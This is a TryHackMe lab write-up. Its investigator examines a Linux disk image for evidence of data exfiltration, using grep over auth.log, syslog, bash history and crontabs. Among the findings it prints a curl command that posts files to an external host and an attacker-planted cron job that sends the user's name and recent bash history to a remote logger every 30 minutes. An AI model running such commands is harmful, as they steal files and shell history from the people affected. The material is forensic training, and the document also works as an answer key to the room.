# ExfilNode | TryHackMe Writeup

## Scenario

The analysis of Liam’s company-provided Windows workstation in the DiskFiltration room revealed major evidence of his involvement in the TECH THM’s data exfiltration. However, he could argue that he was framed as he did not own the workstation. So, to uncover the whole truth and gather all the possible undeniable evidence, the investigators turned their attention to Liam’s personal workstation (Linux machine), which was suspected to have played a key role in handling the exfiltrated data.

As this was Liam’s personal workstation, he had full control over covering his tracks more effectively. But was he careful enough? It seems like the investigators not only revealed more about the external entity Liam worked with but also exposed a betrayal: Liam was double-crossed.

> **When did Liam last logged into the system? (Format: YYYY-MM-DD HH:MM:SS)**

checking the auth.log we’ll filter for session opened and the user

grep -ai “session opened” /mnt/liam\_disk/var/log/auth.log | grep “liam”

since we have a hint to look for only graphical login ,from logs we see gdm which is GNOME Display Manager, and it’s what handles graphical logins on GNOME-based systems

grep -ai “gdm-password” /mnt/liam\_disk/var/log/auth.log | grep “liam”

***Ans: 2025–02–28 10:59:07***

> **What was the timezone of Liam’s device?**

cat /mnt/liam\_disk/etc/timezone

***Ans: America/Toronto***

> **What is the serial number of the USB that was inserted by Liam?**

grep -i “usb” /mnt/liam\_disk/var/log/syslog

![](https://cdn.hashnode.com/uploads/covers/6a8bfea2c4d92e5440cafcc6/a53be405-e2a8-4bd5-aba4-06b7a719dfdd.png align="center")

***Ans: 2651931097993496666***

> **When was the USB connected to the system? (Format: YYYY-MM-DD HH:MM:SS)**

grep -i “usb” /mnt/liam\_disk/var/log/syslog

***Ans: 2025–02–28 10:59:25***

> **What command was executed when Liam ran ‘transferfiles’?**

transferfiles as an alias or function, it would likely be in one of the following:

~/.bashrc

~/.bash\_profile

~/.profile

grep transferfiles /mnt/liam\_disk/home/liam/.bashrc

***Ans: cp -r \\”/media/liam/46E8E28DE8E27A97/Critical Data TECH THM\\” /home/liam/Documents/Data***

> **What command did Liam execute to transfer the exfiltrated files to an external server?**

check for the command history and we’ll try to check for the common way to copy files like cp, scp, curl, wget, ftp…

cat /mnt/liam\_disk/home/liam/.bash\_history | grep -i “scp|rsync|ftp|nc|curl|wget”

***Ans: curl -X POST -d @/home/liam/Documents/Data http://tehc-thm.thm/upload***

> **What is the IP address of the domain to which Liam transferred the files to?**

check for the hosts file

cat /mnt/liam\_disk/etc/hosts | grep tehc-thm.thm

***Ans: 5.45.102.93***

> **Which directory was the user in when they created the file ‘mth’?**

check bash history for mth

cat /mnt/liam\_disk/home/liam/.bash\_history

sudo was used along with mth here so we can check the auth log for particular command used

grep -ai “mth” /mnt/liam\_disk/var/log/auth.log

make sure to read the file

***Ans: /home/liam***

> **Remember Henry, the external entity helping Liam during the exfiltration? What was the amount in USD that Henry had to give Liam for this exfiltration task?**

mth file……

***Ans: 10000***

> **When was the USB disconnected by Liam? (Format: YYYY-MM-DD HH:MM:SS)**

grep -i “usb” /mnt/liam\_disk/var/log/syslog

***Ans: 2025–02–28 11:44:00***

> There is a .hidden/ folder that Liam listed the contents of in his commands. What is the full path of this directory?

bash history ,sudo used so check auth log

***Ans: /home/liam/Public***

> **Which files are likely timstomped in this .hidden/ directory (answer in alphabetical order, ascending, separated by a comma. e.g example1.txt,example2.txt)**

ls -la /mnt/liam\_disk/home/liam/Public/.hidden/

you’ll note the diff made

***Ans: file3.txt,file7.txt***

> **Liam thought the work was done, but the external entity had other plans. Which IP address was connected via SSH to Liam’s machine a few hours after the exfiltration?**

auth log filter for sshd

***Ans: 94.102.51.15***

> **Which cronjob did the external entity set up inside Liam’s machine?**

sudo cat /mnt/liam\_disk/var/spool/cron/crontabs/liam

***Ans: \*/30 \* \* \* \* curl -s -X POST -d “$(whoami):$(tail -n 5 ~/.bash\_history)” http://192.168.1.23/logger.php***

THANK YOU FOR READING!!! ❤️💫